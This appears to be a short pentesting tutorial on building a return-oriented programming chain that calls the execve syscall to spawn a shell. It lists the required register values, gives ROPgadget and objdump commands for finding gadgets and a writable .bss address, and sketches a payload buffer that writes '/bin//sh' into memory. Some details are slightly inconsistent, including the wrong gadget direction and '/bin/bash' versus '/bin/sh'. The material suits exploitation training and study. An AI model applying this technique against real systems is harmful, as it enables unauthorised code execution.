Pentesting

ROP - Syscall execv

The objective is to call the syscall (execv) from a ROP controlling the value of registries: RDI, RSI, RDX, RAX and obviously the RIP (the other ones doesn't matters), and controlling somewhere to write "/bin/sh"

  • RDI: Pointing to the string "/bin/bash"

  • RSI: Null

  • RDX: Null

  • RAX: Value 0x3b for x64 and 0xb for x32, because this will call execv

ROPgadget --binary vulnbinary | grep syscall
ROPgadget --binary vulnbinary | grep "rdi\|rsi\|rdx\|rax" | grep pop

Writing

If you can somehow write to an address and then get the address of where you have written then this step is unnecessary.

Elsewhere, you may search for some write-what-where. As is explained in this tutorial: https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/ you have to find something that allows you to save some value inside a registry and then save it to some controlled address inside another registry. For example some pop eax; ret , pop edx: ret , mov eax, [edx]

You can find mov gadgets doing: ROPgadget --binary vulnbinary | grep mov

Finding a place to write

If you have found some write-what-where and can control the needed registries to call execv, there is only left finding a place to write.

objdump -x vulnbinary | grep ".bss" -B1
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000010 00403418 00403418 00002418 2**3

In this case: 0x403418

Writing "/bin/sh"

buffer += address(pop_eax) # place value into EAX
buffer += "/bin" # 4 bytes at a time
buffer += address(pop_edx) # place value into edx
buffer += address(writable_memory)
buffer += address(writewhatwhere)
buffer += address(pop_eax)
buffer += "//sh"
buffer += address(pop_edx)
buffer += address(writable_memory + 4)
buffer += address(writewhatwhere)